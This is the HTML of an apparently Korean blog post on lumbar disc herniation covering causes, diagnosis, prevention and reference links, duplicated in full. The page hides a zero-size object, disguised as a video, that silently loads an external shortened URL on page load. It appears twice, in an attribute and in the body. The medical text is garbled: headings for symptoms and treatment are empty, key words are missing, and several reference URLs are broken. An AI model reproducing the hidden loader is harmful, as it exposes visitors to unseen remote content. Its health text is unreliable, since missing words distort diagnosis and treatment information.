<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c3376406522="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:16">추간판탈출증(허리디스크)</h2><p data-sourcepos="3:1-3:6"><strong>정의</strong></p><p data-sourcepos="5:1-5:85">추간판탈출증은 척추뼈 사이에 위치한 추간판이 탈출하여 주변 신경을 압박하는 입니다. 허리 부위에 가장 빈번하게 발생하여 '허리디스크'라고도 불립니다.</p><p data-sourcepos="7:1-7:6"><strong>원인</strong></p><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:55"><strong>노화:</strong> 나이가 들면서 추간판의 수분 함량이 감소하여 탄력이 떨어지고 섬유륜이 약해집니다.</li>
<li data-sourcepos="10:1-10:73"><strong>부정한 자세:</strong> 앉아 있는 시간이 길거나, 허리를 구부린 자세로 무거운 물건을 들 경우 추간판에 과도한 부담이 가해집니다.</li>
<li data-sourcepos="11:1-11:47"><strong>외상:</strong> 사고나 부상으로 인해 추간판에 직접적인 충격이 가해질 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>유전적 요인:</strong> 가족력이 있는 경우 추간판탈출증 발병 위험이 높아집니다.</li>
</ul><p data-sourcepos="14:1-14:6"><strong></strong></p><ul data-sourcepos="16:1-20:0">
<li data-sourcepos="16:1-16:47"><strong>허리 통증:</strong> 움직일 때나 기침, 재채기를 할 때 허리에 통증이 발생합니다.</li>
<li data-sourcepos="17:1-17:59"><strong>다리 통증:</strong> 탈출된 추간판이 압박하는 신경에 따라 다리에 저림, 감각 이상, 통증이 나타납니다.</li>
<li data-sourcepos="18:1-18:45"><strong>근력 약화:</strong> 압박된 신경이 지배하는 근육의 근력이 약해질 수 있습니다.</li>
<li data-sourcepos="19:1-20:0"><strong>배뇨 장애:</strong> 심한 경우 배뇨 장애가 발생할 수 있습니다.</li>
</ul><p data-sourcepos="21:1-21:6"><strong>진단</strong></p><ul data-sourcepos="23:1-26:0">
<li data-sourcepos="23:1-23:28"><strong>X-ray:</strong> 척추뼈의 상태를 확인합니다.</li>
<li data-sourcepos="24:1-24:34"><strong>MRI:</strong> 추간판과 신경의 상태를 자세히 확인합니다.</li>
<li data-sourcepos="25:1-26:0"><strong>신경 전도 검사:</strong> 신경의 기능 상태를 검사합니다.</li>
</ul><p data-sourcepos="27:1-27:6"><strong></strong></p><ul data-sourcepos="29:1-31:0">
<li data-sourcepos="29:1-29:46"><strong>보존적 :</strong> 약물 , 물리 , 침술, 도수 등이 있습니다.</li>
<li data-sourcepos="30:1-31:0"><strong>적 :</strong> 보존적 로 이 개선되지 않거나, 심각한 신경학적 이 있는 경우 시행합니다.</li>
</ul><p data-sourcepos="32:1-32:6"><strong>예방</strong></p><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:41"><strong>적절한 체중 유지:</strong> 과체중은 추간판에 과도한 부담을 가해줍니다.</li>
<li data-sourcepos="35:1-35:86"><strong>바른 자세 유지:</strong> 앉아 있을 때는 허리를 곧게 펴고, 무거운 물건을 들 때는 허리를 구부리지 않고 무릎을 flexion 하는 것이 중요합니다.</li>
<li data-sourcepos="36:1-37:0"><strong>규칙적인 운동:</strong> 복근과 등 근육을 강화하는 운동을 꾸준히 하는 것이 좋습니다.</li>
</ul><p data-sourcepos="38:1-38:9"><strong>추가 정보</strong></p><ul data-sourcepos="40:1-43:0">
<li data-sourcepos="40:1-40:272">추간판탈출증(디스크) - 국가건강정보포털 - 관리청: <response-element class="" _nghost-ng-c2845880959="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c2845880959="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2972167403="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3a3579271e1cf93e&quot;,&quot;c_c40ff85653a6ad8a&quot;,null,&quot;rc_a7e7dea65028c89c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://health.kdca.go.kr/healthinfo/biz/health/gnrlzHealthInfo/gnrlzHealthInfo/gnrlzHealthInfoView.do?cntnts_sn=3348">https://health.kdca.go.kr/healthinfo/biz/health/gnrlzHealthInfo/gnrlzHealthInfo/gnrlzHealthInfoView.do?cntnts_sn=3348</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="41:1-41:210">요추 추간판 탈출증 | 백과 | 의료정보 | 건강정보 - 서울아산병원: <response-element class="" _nghost-ng-c2845880959="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c2845880959="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2972167403="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3a3579271e1cf93e&quot;,&quot;c_c40ff85653a6ad8a&quot;,null,&quot;rc_a7e7dea65028c89c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32556">https://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32556</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="42:1-43:0">요추추간판탈출증 &gt; 요추 &gt; 정형외과 건강정보 &gt; 대한정형외과학회: <response-element class="" _nghost-ng-c2845880959="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c2845880959="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2972167403="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3a3579271e1cf93e&quot;,&quot;c_c40ff85653a6ad8a&quot;,null,&quot;rc_a7e7dea65028c89c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://.koa.or.kr/info/index_4_2.php">https://.koa.or.kr/info/index_4_2.php</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul><p data-sourcepos="44:1-44:7"><strong></strong></p><ul data-sourcepos="46:1-48:32">
<li data-sourcepos="46:1-46:27">추간판탈출증: </li>
<li data-sourcepos="47:1-47:26">허리디스크: </li>
<li data-sourcepos="48:1-48:32">[추간판탈출증 ](%</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3376406522="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:16">추간판탈출증(허리디스크)</h2><p data-sourcepos="3:1-3:6"><strong>정의</strong></p><p data-sourcepos="5:1-5:85">추간판탈출증은 척추뼈 사이에 위치한 추간판이 탈출하여 주변 신경을 압박하는 입니다. 허리 부위에 가장 빈번하게 발생하여 '허리디스크'라고도 불립니다.</p><p data-sourcepos="7:1-7:6"><strong>원인</strong></p><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:55"><strong>노화:</strong> 나이가 들면서 추간판의 수분 함량이 감소하여 탄력이 떨어지고 섬유륜이 약해집니다.</li>
<li data-sourcepos="10:1-10:73"><strong>부정한 자세:</strong> 앉아 있는 시간이 길거나, 허리를 구부린 자세로 무거운 물건을 들 경우 추간판에 과도한 부담이 가해집니다.</li>
<li data-sourcepos="11:1-11:47"><strong>외상:</strong> 사고나 부상으로 인해 추간판에 직접적인 충격이 가해질 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>유전적 요인:</strong> 가족력이 있는 경우 추간판탈출증 발병 위험이 높아집니다.</li>
</ul><p data-sourcepos="14:1-14:6"><strong></strong></p><ul data-sourcepos="16:1-20:0">
<li data-sourcepos="16:1-16:47"><strong>허리 통증:</strong> 움직일 때나 기침, 재채기를 할 때 허리에 통증이 발생합니다.</li>
<li data-sourcepos="17:1-17:59"><strong>다리 통증:</strong> 탈출된 추간판이 압박하는 신경에 따라 다리에 저림, 감각 이상, 통증이 나타납니다.</li>
<li data-sourcepos="18:1-18:45"><strong>근력 약화:</strong> 압박된 신경이 지배하는 근육의 근력이 약해질 수 있습니다.</li>
<li data-sourcepos="19:1-20:0"><strong>배뇨 장애:</strong> 심한 경우 배뇨 장애가 발생할 수 있습니다.</li>
</ul><p data-sourcepos="21:1-21:6"><strong>진단</strong></p><ul data-sourcepos="23:1-26:0">
<li data-sourcepos="23:1-23:28"><strong>X-ray:</strong> 척추뼈의 상태를 확인합니다.</li>
<li data-sourcepos="24:1-24:34"><strong>MRI:</strong> 추간판과 신경의 상태를 자세히 확인합니다.</li>
<li data-sourcepos="25:1-26:0"><strong>신경 전도 검사:</strong> 신경의 기능 상태를 검사합니다.</li>
</ul><p data-sourcepos="27:1-27:6"><strong></strong></p><ul data-sourcepos="29:1-31:0">
<li data-sourcepos="29:1-29:46"><strong>보존적 :</strong> 약물 , 물리 , 침술, 도수 등이 있습니다.</li>
<li data-sourcepos="30:1-31:0"><strong>적 :</strong> 보존적 로 이 개선되지 않거나, 심각한 신경학적 이 있는 경우 시행합니다.</li>
</ul><p data-sourcepos="32:1-32:6"><strong>예방</strong></p><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:41"><strong>적절한 체중 유지:</strong> 과체중은 추간판에 과도한 부담을 가해줍니다.</li>
<li data-sourcepos="35:1-35:86"><strong>바른 자세 유지:</strong> 앉아 있을 때는 허리를 곧게 펴고, 무거운 물건을 들 때는 허리를 구부리지 않고 무릎을 flexion 하는 것이 중요합니다.</li>
<li data-sourcepos="36:1-37:0"><strong>규칙적인 운동:</strong> 복근과 등 근육을 강화하는 운동을 꾸준히 하는 것이 좋습니다.</li>
</ul><p data-sourcepos="38:1-38:9"><strong>추가 정보</strong></p><ul data-sourcepos="40:1-43:0">
<li data-sourcepos="40:1-40:272">추간판탈출증(디스크) - 국가건강정보포털 - 관리청: <response-element class="" _nghost-ng-c2845880959="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c2845880959="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2972167403="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_3a3579271e1cf93e","c_c40ff85653a6ad8a",null,"rc_a7e7dea65028c89c",null,null,"ko",null,null,null,null,1,0]]" s://health.kdca.go.kr/healthinfo/biz/health/gnrlzHealthInfo/gnrlzHealthInfo/gnrlzHealthInfoView.do?cntnts_sn=3348">https://health.kdca.go.kr/healthinfo/biz/health/gnrlzHealthInfo/gnrlzHealthInfo/gnrlzHealthInfoView.do?cntnts_sn=3348</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="41:1-41:210">요추 추간판 탈출증 | 백과 | 의료정보 | 건강정보 - 서울아산병원: <response-element class="" _nghost-ng-c2845880959="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c2845880959="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2972167403="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_3a3579271e1cf93e","c_c40ff85653a6ad8a",null,"rc_a7e7dea65028c89c",null,null,"ko",null,null,null,null,1,0]]" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32556">https://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=32556</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="42:1-43:0">요추추간판탈출증 > 요추 > 정형외과 건강정보 > 대한정형외과학회: <response-element class="" _nghost-ng-c2845880959="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block _ngcontent-ng-c2845880959="" class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2972167403="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_3a3579271e1cf93e","c_c40ff85653a6ad8a",null,"rc_a7e7dea65028c89c",null,null,"ko",null,null,null,null,1,0]]" s://.koa.or.kr/info/index_4_2.php">https://.koa.or.kr/info/index_4_2.php</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul><p data-sourcepos="44:1-44:7"><strong></strong></p><ul data-sourcepos="46:1-48:32">
<li data-sourcepos="46:1-46:27">추간판탈출증: </li>
<li data-sourcepos="47:1-47:26">허리디스크: </li>
<li data-sourcepos="48:1-48:32">[추간판탈출증 ](%</li>
</ul></div>
</div></div>
<!-- -->
